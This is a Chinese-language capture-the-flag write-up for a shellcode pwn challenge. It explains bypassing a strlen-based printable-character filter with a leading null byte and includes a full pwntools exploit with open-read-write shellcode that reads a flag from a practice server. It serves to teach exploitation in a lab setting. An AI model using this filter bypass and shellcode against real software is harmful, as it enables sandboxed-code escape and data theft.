前置知识
seccomp-tools
使用(seccomp-tools dump ./file
查看沙箱开启情况)strlen
查看字符串长度,默认字符串以b'\x00'
结尾
整体思路
程序打开时无法反编译,略读一下发现这是因为整个的逻辑是要输入shellcode
到rax
,最后通过 call rax
来执行的,而call rax
是没办法反汇编的指令,因此我们patch
指令call rax
即可反汇编,只是要记得程序会执行shellcode
。
程序开启了沙箱,不能直接执行execve
,只能通过orw(open-read-write)
的方式进行读取flag
。
另外,程序还使用is_printable
函数来检测输入的shellcode
是否都为可见字符,使用的是strlen()
函数判断
正常情况下,可以使用ae64
库进行可见字符的编码:
from ae64 import AE64
from pwn import *
shellcode = asm(shellcraft.amd64.linux.sh())
enc_shellcode = AE64(),encode(shellcode) # enc_shellcode即为可见字符的shellcode
然而,本道题目还限制了输入的最大长度为0x64
,无论怎么编写,由于沙箱的原因,都会使得长度远远大于这个数。
因此,这里只能使用strlen
函数的漏洞,感觉是有一点点非预期的样子。由于strlen
函数遇到b'\x00'
会截断,而is_printable
函数只会检查通过strlen
函数得到的长度这部分是否为可见字符。因此,我们只需要在程序最开始使用push 0
,其中就含有b'\x00'
,而push
操作本身是可见字符,因此相当于就完全绕过了is_printable
函数。接下来正常编写orw
的shellcode
即可。
exp
from pwn import *
from LibcSearcher import *
from ae64 import AE64
filename = './gwctf_2019_shellcode'
context(log_level='debug', arch='amd64')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('')
if local:
sh = process(filename)
else:
sh = remote('node4.buuoj.cn', 25776)
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
shellcode = asm('''push 0
mov rax, 0x67616c662f
push rax
push 2
pop rax
push rsp
pop rdi
push 0
pop rsi
syscall
push 0
pop rax
push 3
pop rdi
push rsp
pop rsi
push 0x100
pop rdx
syscall
push rsp
pop rsi
push 1
pop rax
push 1
pop rdi
push 0x100
pop rdx
syscall
ret
''')
print('The original shellcode length is {}'.format(len(shellcode)))
print(shellcode)
# sh.recv()
# debug()
sh.send(shellcode)
# pause()
flag = sh.recvuntil('}').decode()
print(flag)
sh.interactive()